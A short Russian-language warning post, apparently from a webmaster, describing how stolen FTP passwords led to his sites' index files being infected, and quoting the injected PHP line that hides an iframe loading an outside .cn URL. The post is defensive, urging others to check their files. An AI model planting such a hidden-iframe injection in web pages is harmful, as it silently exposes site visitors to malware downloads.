Осторожно! Вирус на сайтах.

Пока я был в командировке, я работал на корпоративном лаптопе, на котором говноантивирус по имени Norton Internet Security пропустил какую-то заразу, ворующую пароли от FTP.  

В итоге, на двух своих хостинга заполучил вирусы. Это происходит следующим образом: пароль крадется в момент коннекта к FTP серверу и отсылается куда-то «наружу», с удаленного сервака раз в неделю осуществляется коннект на FTP с украденными данными и все index.* файлы заражаются.

Сигнатура, которая вставляется в индексные файлы, следующая:

<?php echo ‘<div style=»visibility:hidden»><iframe src=»http://directlinkq.cn/in.cgi?27» width=100 height=80></iframe></div>’; ?>

В итоге на сайте позникает невидимый фрейм, в который грузится какая-то зараза и заражает другие компы. Вот такая беда.

Проверьте свои индексные файлы на предмет подобных иньекций.